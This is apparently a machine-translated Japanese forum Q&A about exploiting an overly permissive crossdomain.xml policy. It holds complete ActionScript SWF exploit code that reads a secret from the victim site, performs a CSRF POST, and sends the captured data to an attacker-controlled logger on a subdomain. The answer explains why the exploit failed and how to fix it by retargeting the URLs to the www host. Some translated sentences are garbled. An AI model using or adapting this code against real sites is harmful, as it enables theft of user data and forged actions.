victim.com-誤って設定されたアプリケーションのURL。
https://victim.comhttps://victim.com/crossdomain.xml に過度に許容的なcrossdomain.xmlがあります。
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.victim.com" />
</cross-domain-policy>
攻撃者はsomething。subdomain.victim.comを制御できます
攻撃者は、次のアクションスクリプトから生成されたSWFファイルをホストします。
// Adaptation of an exploit by John M as defined in
// https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
// PHP serverside is replaced with a simpler python cgi. Thanks to trustedsec
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLVariables;
import flash.net.URLLoader;
import flash.net.URLLoaderDataFormat;
public class crossDomain extends Sprite {
public function crossDomain() {
// Fetching secret.
var firstrequest:URLRequest = new URLRequest("https://victim.com/a?secret=test");
var firstloader:URLLoader = new URLLoader();
firstloader.addEventListener(Event.COMPLETE, completeHandler);
try {
firstloader.load(firstrequest);
} catch (error: Error) {
trace("Unable to load URL: " + error);
}
// Performing CSRF with a POST
var secondvariables:URLVariables = new URLVariables("a=test1&b=test2&c=test3&final=nothing");
var secondrequest:URLRequest = new URLRequest("http://victim.com/someaction.html");
secondrequest.method = URLRequestMethod.POST;
secondrequest.data = secondvariables;
var secondloader:URLLoader = new URLLoader();
secondloader.dataFormat = URLLoaderDataFormat.VARIABLES;
try {
secondloader.load(secondrequest);
} catch (error: Error) {
trace("Unable to load URL");
}
}
private function completeHandler(event: Event): void {
// Retreiving the HTTP responses to attacker server.
var request:URLRequest = new URLRequest("http://something.subdomain.victim.com:8000/cgi-bin/postlogger.py");
var variables:URLVariables = new URLVariables();
variables.data = event.target.data;
request.method = URLRequestMethod.POST;
request.data = variables;
var loader:URLLoader = new URLLoader();
try {
loader.load(request);
} catch (error: Error) {
trace("Unable to load URL");
}
}
}
}
エクスプロイトSWFは次のような場所でホストされています。
https://something.subdomain.victim.com:8000/crossDomain.html
GET /crossdomain.xmlが https://victim.com になるまでのすべてが発生しています。ただし、その後、victim.comドメインに送信されるリクエストはありません。
これがアクションスクリプトコードエラーである可能性は低いです。ローカルホストとテスト用に127.0.0.1で実行したときとまったく同じコードが機能しているためです。 [最後のcgiパーツが機能していない可能性がありますが、それは現時点では関係ありません。]
Crossdomain.xmlの応答に追加のセキュリティヘッダーはありません。
このエクスプロイトがvictim.comで機能しない理由は何ですか?
彼らがいつも言うように、悪魔は細部にいた。
https://victim.com/crossdomain.xml に対するリクエストはcrossdomain.xmlですぐに応答せず、代わりにhttps://へのリダイレクトがありましたwww。victim.com/crossdomain.xml。これにより、ドメインへのそれ以上の要求が無効になります。
ターゲットURLをhttp://www.victim.com/a?secret=test
およびhttp://www.victim.com/someaction.html
に変更すると、問題が解決しました。